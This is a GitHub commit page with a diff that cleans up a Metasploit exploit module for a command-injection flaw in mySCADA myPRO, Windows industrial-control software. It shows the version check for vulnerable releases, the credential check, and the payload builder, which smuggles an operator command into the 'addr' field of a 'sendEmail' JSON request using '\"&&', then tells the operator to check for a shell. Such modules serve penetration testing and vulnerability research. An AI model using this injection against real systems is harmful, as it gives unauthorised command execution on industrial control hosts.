Skip to content

Commit 90ed8ae

Browse files
committed
Revised the code to make it cleaner
1 parent c8feb5c commit 90ed8ae

File tree

1 file changed

+12
-24
lines changed

1 file changed

+12
-24
lines changed

modules/exploits/windows/scada/mypro_cmdexe.rb

Lines changed: 12 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ def initialize(info = {})
2020
],
2121
'DisclosureDate' => '2022-09-22',
2222
'Platform' => 'win',
23-
'Arch' => [ ARCH_X86, ARCH_X64 ],
23+
'Arch' => [ ARCH_CMD ],
2424
'Targets' => [
2525
[
2626
'Windows_Fetch',
@@ -72,25 +72,18 @@ def check
7272
})
7373
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
7474
return CheckCode::Unknown
75-
ensure
76-
disconnect
7775
end
7876

7977
if res && res.code == 200
80-
regex = /\{.*\}/m
81-
json_body = res.body[regex, 0]
82-
data = JSON.parse(json_body)
78+
data = res.get_json_document
8379
version = data['V']
8480
if version.nil?
8581
return CheckCode::Unknown
8682
else
8783
vprint_status('Version retrieved: ' + version)
8884
end
8985

90-
parts = version.split('.')
91-
major = parts[0]
92-
minor = parts[1]
93-
if major.to_i == 8 && minor.to_i <= 28
86+
if Rex::Version.new(version) <= Rex::Version.new('8.28')
9487
return CheckCode::Appears
9588
else
9689
return CheckCode::Safe
@@ -101,11 +94,7 @@ def check
10194
end
10295

10396
def exploit
104-
connect
105-
case target['Type']
106-
when :win_fetch
107-
execute_command(payload.encoded)
108-
end
97+
execute_command(payload.encoded)
10998
end
11099

111100
def execute_command(cmd)
@@ -114,7 +103,6 @@ def execute_command(cmd)
114103
print_status('Sending command injection...')
115104
exec_mypro(cmd)
116105
print_status('Exploit finished, check thy shell.')
117-
handler
118106
end
119107

120108
# Check if credentials are working
@@ -130,11 +118,13 @@ def check_auth
130118
unless res
131119
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
132120
end
133-
if res && res.code == 401
134-
fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?')
135-
end
136-
if res && res.code == 200
121+
case res.code
122+
when 200
137123
print_good('Credentials are working.')
124+
when 401
125+
fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?')
126+
else
127+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
138128
end
139129
end
140130

@@ -147,7 +137,7 @@ def exec_mypro(cmd)
147137

148138
post_data = {
149139
'type' => 'sendEmail',
150-
'addr' => 'addr' + '"&&' + cmd
140+
'addr' => "addr\"&&#{cmd}"
151141
}
152142
post_json = JSON.generate(post_data)
153143

@@ -162,9 +152,7 @@ def exec_mypro(cmd)
162152

163153
})
164154

165-
# unless res # We don't fail from this check because the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.
166-
# print_status("Failed to receive a reply from the server, probably waiting on injected command to finish. Check if you got a shell already.")
167-
# end
155+
# We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.
168156

169157
if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned.
170158
print_good('Command successfully executed, check your shell.')

0 commit comments

Comments
 (0)